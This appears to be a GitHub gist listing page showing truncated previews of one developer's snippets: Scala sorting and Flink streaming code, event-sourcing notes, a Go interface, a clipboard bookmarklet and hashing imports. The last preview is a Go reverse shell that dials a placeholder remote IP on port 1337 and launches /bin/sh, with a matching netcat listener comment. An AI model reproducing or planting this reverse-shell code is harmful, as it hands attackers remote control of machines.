- polymorphic association
- foreign key
- integrity rule
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object QuickSort extends App { | |
val list = List(3, 5, 7, 1, 4, 9, 44, 2) | |
println(quickSort(list)) | |
def quickSort(list: List[Int]): List[Int] = { | |
list match { | |
case Nil => Nil | |
case pivot :: tail => | |
val (less, greater) = tail.partition(_ < pivot) | |
quickSort(less) ::: pivot :: quickSort(greater) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @author Milad Khajavi <[email protected]>. | |
*/ | |
object FlinkWindowStreaming extends App { | |
import org.apache.flink.api.scala._ | |
import org.apache.flink.streaming.api.scala.{DataStream, StreamExecutionEnvironment} | |
import org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer | |
val sev = StreamExecutionEnvironment.getExecutionEnvironment | |
val socTextStream = sev.socketTextStream("localhost", 4444) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
trait PrettyPrint { | |
/** | |
* Pretty prints a Scala value similar to its source represention. | |
* Particularly useful for case classes. | |
* | |
* @param a - The value to pretty print. | |
* @param indentSize - Number of spaces for each indent. | |
* @param maxElementWidth - Largest element size before wrapping. | |
* @param depth - Initial depth to pretty print indents. | |
* @return |
- It's root in Domain Driven Design community
- Vaughn Vernon: Implementing Domain-Driven Design
- It isn't a good way to design databases. Instead, we should indivisualy record every change that happen to database.
- Events are immutable
- We don't loose historic information
- storing state:
- Store raw events (Event Stores)
- Used by analyst
- Store raw events (Event Stores)
- Offline processing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def cross[T](list: Traversable[Traversable[T]]): Traversable[Traversable[T]] = | |
list match { | |
case x :: Nil => x map (List(_)) | |
case x :: xs => | |
for { | |
i <- x | |
j <- cross(xs) | |
} yield Traversable(i) ++ j | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import "fmt" | |
type Speaker interface { | |
Say(string) | |
} | |
type Person struct { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:(function () { | |
var text = "[" + document.title + '](' + document.URL + ')'; | |
if (window.clipboardData && window.clipboardData.setData) { | |
return clipboardData.setData("Text", text); | |
} else if (document.queryCommandSupported && document.queryCommandSupported("copy")) { | |
var textarea = document.createElement("textarea"); | |
textarea.textContent = text; | |
textarea.style.position = "fixed"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/hmac" | |
"crypto/sha512" | |
"crypto/md5" | |
"encoding/base64" | |
"fmt" | |
"hash" | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
// Reverse shell | |
// Test in remote server with nc -l 1337 | |
import"os/exec" | |
import"net" | |
func main(){ | |
c,_:=net.Dial("tcp","remoteserverip:1337"); | |
cmd:=exec.Command("/bin/sh"); |